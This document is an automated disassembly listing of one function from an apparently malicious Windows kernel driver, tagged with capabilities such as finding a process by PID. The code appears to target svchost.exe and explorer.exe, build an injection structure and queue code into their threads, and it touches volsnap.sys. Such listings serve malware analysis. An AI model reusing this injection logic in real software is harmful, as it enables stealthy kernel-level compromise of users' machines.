Function at 0x4078a5
Capabilities:
Access pe header
Find process by pid

Disassembly:
push ebp
lea ebp, [esp - 0x74]
sub esp, 0x8c
or dword [ebp + 0x60], 0xffffffff
or dword [ebp + 0x34], 0xffffffff
push ebx
mov eax, 0xfe363c80
xor ebx, ebx
cmp dword [0x41d730], ebx
push esi
push edi
mov dword [ebp + 0x5c], eax
mov dword [ebp + 0x30], eax
jne 0x407b06
cmp dword [0x41d078], ebx
je 0x407ce1
lea eax, [ebp + 0x44]
mov word [ebp + 0x44], 0x16
mov word [ebp + 0x46], 0x18
mov dword [ebp + 0x48], 0x4092e4
mov dword [ebp + 0x6c], ebx
mov dword [ebp + 0x68], eax
mov edi, 0xe80
push 0x40415e
mov esi, 0x40414f
push esi
lea eax, [ebp + 0x68]
push eax
push 0x4059d5
call fcn.004041ba
push 0x40415e
mov dword [ebp + 0x70], eax
push esi
lea eax, [ebp + 0x68]
push eax
push 0x4059af
call fcn.004041ba
cmp eax, ebx
mov dword [ebp + 0x64], eax
je 0x407947
lea ecx, [ebp + 0x50]
push ecx
push eax
call dword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
test eax, eax
jge 0x407955
lea eax, [ebp + 0x5c]
push eax
push ebx
push ebx
call dword [sym.imp.ntoskrnl.exe_KeDelayExecutionThread]
jmp 0x407901
cmp dword [ebp + 0x70], ebx
je 0x407ce1
lea eax, [ebp + 0x4c]
push eax
push dword [ebp + 0x70]
call dword [sym.imp.ntoskrnl.exe_PsLookupThreadByThreadId]
test eax, eax
jl 0x407ce1
push 0x73737373
push edi
push ebx
call dword [sym.imp.ntoskrnl.exe_ExAllocatePoolWithTag]
mov esi, eax
cmp esi, ebx
mov dword [ebp + 0x70], esi
je 0x407947
push edi
push ebx
push esi
call sub.ntoskrnl.exe_memset
mov byte [esi + 0xe7c], 1
mov eax, dword [ebp + 0x4c]
mov dword [esi + 0xe68], eax
mov eax, dword [ebp + 0x50]
mov edi, str.svchost.exe
push edi
mov dword [esi + 0x10], eax
call sub.ntoskrnl.exe_strlen
push eax
lea eax, [esi + 0x14]
push edi
push eax
call sub.ntoskrnl.exe_memcpy
mov eax, dword [ebp + 0x64]
mov dword [esi + 8], eax
mov eax, dword [ebp + 0x50]
mov dword [esi + 0x10], eax
mov edi, str.cmdsscore
mov byte [esi + 0xe7e], bl
push edi
mov byte [esi + 0xe7f], bl
call sub.ntoskrnl.exe_strlen
push eax
lea eax, [esi + 0xdbc]
push edi
push eax
call sub.ntoskrnl.exe_memcpy
mov eax, dword [0x41d078]
mov dword [esi + 0xdb4], eax
mov eax, dword [0x41d07c]
add esp, 0x2c
mov dword [esi + 0xdb8], eax
mov edi, dword [0x415520]
push 0x73737373
push edi
push ebx
call dword [sym.imp.ntoskrnl.exe_ExAllocatePoolWithTag]
cmp eax, ebx
mov dword [ebp + 0x64], eax
je 0x407ce1
push edi
push 0x415538
push eax
call sub.ntoskrnl.exe_memcpy
mov edi, dword [ebp + 0x64]
add esp, 0xc
push edi
call sub.ntoskrnl.exe_RtlImageNtHeader
mov dword [esi + 0xe6c], edi
cmp dword [0x41d730], ebx
mov dword [ebp + 0x64], eax
je 0x407ac2
lea eax, [ebp + 0x54]
mov word [ebp + 0x54], 0x18
mov word [ebp + 0x56], 0x1a
mov dword [ebp + 0x58], str.explorer.exe
mov dword [ebp + 0x6c], ebx
mov dword [ebp + 0x68], eax
mov edi, 0x40415e
push edi
push 0x40414f
lea eax, [ebp + 0x68]
push eax
push 0x4059d5
call fcn.004041ba
push edi
push 0x40414f
lea eax, [ebp + 0x68]
push eax
push 0x4059af
call fcn.004041ba
cmp eax, ebx
je 0x407aaa
lea ecx, [ebp + 0x38]
push ecx
push eax
call dword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
test eax, eax
jge 0x407ab8
lea eax, [ebp + 0x5c]
push eax
push ebx
push ebx
call dword [sym.imp.ntoskrnl.exe_KeDelayExecutionThread]
jmp 0x407a6a
cmp dword [0x41d730], ebx
jne 0x407ad3
jmp 0x407ac7
mov edi, 0x40415e
lea eax, [ebp + 0x30]
push eax
push ebx
push ebx
call dword [sym.imp.ntoskrnl.exe_KeDelayExecutionThread]
lea eax, [ebp + 0x70]
push eax
mov eax, dword [ebp + 0x64]
add eax, 0x50
push eax
lea eax, [ebp + 0x38]
push eax
push ebx
push ebx
call fcn.004067e4
cmp byte [esi + 0xe7d], bl
je 0x407b0b
push esi
push ebx
push ebx
push ebx
push 0x407151
push 1
push dword [ebp + 0x4c]
call fcn.0040584b
jmp 0x407b0b
mov edi, 0x40415e
lea eax, [ebp + 0x3c]
mov word [ebp + 0x3c], 0x18
mov word [ebp + 0x3e], 0x1a
mov dword [ebp + 0x40], str.explorer.exe
mov dword [ebp + 0x6c], ebx
mov dword [ebp + 0x68], eax
push edi
mov esi, 0x40414f
push esi
lea eax, [ebp + 0x68]
push eax
push 0x4059d5
call fcn.004041ba
push edi
push esi
lea eax, [ebp + 0x68]
push eax
push 0x4059af
call fcn.004041ba
cmp eax, ebx
je 0x407b5f
lea ecx, [ebp + 0x2c]
push ecx
push eax
call dword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
test eax, eax
jge 0x407b6d
lea eax, [ebp + 0x5c]
push eax
push ebx
push ebx
call dword [sym.imp.ntoskrnl.exe_KeDelayExecutionThread]
jmp 0x407b27
push dword [0x41d4d0]
call sub.ntoskrnl.exe_RtlImageNtHeader
mov edi, 0x409318
push edi
mov esi, eax
call sub.ntoskrnl.exe_strlen
pop ecx
push eax
push edi
push esi
call fcn.00402b8e
movzx eax, word [esi + 0x14]
push dword [eax + esi + 0x2c]
push dword [0x41d04c]
push dword [0x41d4d0]
call sub.ntoskrnl.exe_memcpy
push 0x27
lea eax, [ebp - 0x17]
push ebx
push eax
mov byte [ebp - 0x18], bl
call sub.ntoskrnl.exe_memset
add esp, 0x18
push 7
xor eax, eax
or dword [ebp + 0x58], 0xffffffff
pop ecx
lea edi, [ebp + 0x10]
rep stosd dword es:[edi], eax
mov dword [ebp + 0x54], 0xfd050f80
mov esi, 0x67676767
push 0x44
lea eax, [ebp - 0x18]
push ebx
push eax
call sub.ntoskrnl.exe_memset
add esp, 0xc
push str.SystemRootSystem32Drivers_volsnap.sys
lea eax, [ebp - 0x18]
push eax
call fcn.00402f6e
test al, al
je 0x407cd0
mov eax, dword [ebp + 0x14]
cmp eax, dword [0x41d058]
je 0x407cd0
mov eax, dword [0x41d044]
imul eax, eax, 3
push esi
push eax
push ebx
call dword [sym.imp.ntoskrnl.exe_ExAllocatePoolWithTag]
cmp eax, ebx
mov dword [ebp + 0x70], eax
je 0x407cd0
mov ecx, dword [0x41d044]
imul ecx, ecx, 3
push ecx
push ebx
push eax
call sub.ntoskrnl.exe_memset
mov eax, dword [0x41d044]
add esp, 0xc
imul eax, eax, 3
push 0x12345678
push dword [ebp + 0x70]
push eax
push dword [0x41d040]
push ebx
push dword [0x41d03c]
call fcn.00402e8d
test al, al
je 0x407cd0
mov ecx, dword [0x41d044]
mov eax, dword [ebp + 0x70]
push 0x41d098
add ecx, ecx
push ecx
push eax
lea edi, [eax + 0x400]
call fcn.00402945
push 1
push dword [ebp + 0x10]
lea eax, [ebp + 0x70]
push dword [ebp + 0x14]
push dword [ebp + 0x70]
push dword [0x41d044]
push dword [0x41d040]
push edi
push eax
push ebx
push dword [0x41d03c]
call fcn.004033ce
mov ecx, dword [ebp + 0x70]
mov eax, dword [ecx + 0xb0]
xor edx, edx
div dword [0x41d048]
mov edx, dword [ecx + 0x70]
push esi
push ecx
lea eax, [eax + edx - 1]
mov dword [0x41d060], eax
mov eax, dword [ebp + 0x14]
mov dword [0x41d058], eax
call dword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
lea eax, [ebp + 0x54]
push eax
push ebx
push ebx
call dword [sym.imp.ntoskrnl.exe_KeDelayExecutionThread]
jmp 0x407bd3
pop edi
pop esi
pop ebx
add ebp, 0x74
leave
ret 4